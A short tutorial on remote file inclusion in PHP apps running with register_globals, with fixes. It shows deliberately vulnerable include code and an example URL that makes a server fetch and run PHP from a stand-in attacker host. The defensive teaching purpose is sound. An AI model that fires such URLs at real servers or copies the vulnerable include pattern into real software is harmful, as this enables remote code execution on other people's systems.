
Remote Command Execution is a serious threat to web applications and is one of the most common flaws found in PHP applications. In short, it allows a remote attacker to run commands on the server. Here’s a brief demonstration of how it works. Let’s say you have three PHP files: index.php, config.php, and include.php.
<?php
// index.php
include('config.php');
include('include.php');
//do whatever
?>
<?php
//config.php
$server_root = '/my/path';
?>
<?php
//include.php
include($server_root . '/someotherfile.php');
//do some other things
?>
Now, the problem lies in the include.php file. The programmer has assumed that $server_root will always be set from the value in the config.php file (because both config.php and include.php are included in index.php). What the programmer has not taken into account is that if someone calls the include.php file directly from their web browser, they can set $server_root to whatever value they wish.
If I were to call include.php directly with something like:
http://yourwebserver.com/include.php?server_root=http://hackingserver.com/command.txt?
What would the include line in include.php look like once the data I passed in was populated in the $server_root variable?
include('http://hackingserver.com/command.txt?/someotherfile.php');
As you can see, whatever text I happen to return from my server, will now be included in the programmer’s code. This can include any PHP code I wish to execute on your server!
Now, how do you fix this? Well, a simple method would be to see if the variable in question has been set by the web browsing user. Checking for its existence in the $_REQUEST super-global should do the trick.
<?php
//include.php (improved)
if(isset($_REQUEST['server_root'])) die('You are trying to hack me');
include($server_root . '/someotherfile.php');
//do some other things
?>
Now, if someone tries to set the $server_root variable, the script will not run.
An even better way to fix this is to turn off register_globals in the php.ini file. Unfortunately many people on shared hosting are unable to turn this off in the php.ini file. Not to worry! If your host has given you the ability to use a .htaccess file, you might be able to turn it off that way. Place the following in a .htaccess file in the root of your web space.
php_flag register_globals off
With register_globals off, you have to reference a variable passed in from the query string as $_GET[‘server_root’], so the remote code execution flaw goes away.
Now, check your applications and make sure they aren’t vulnerable!
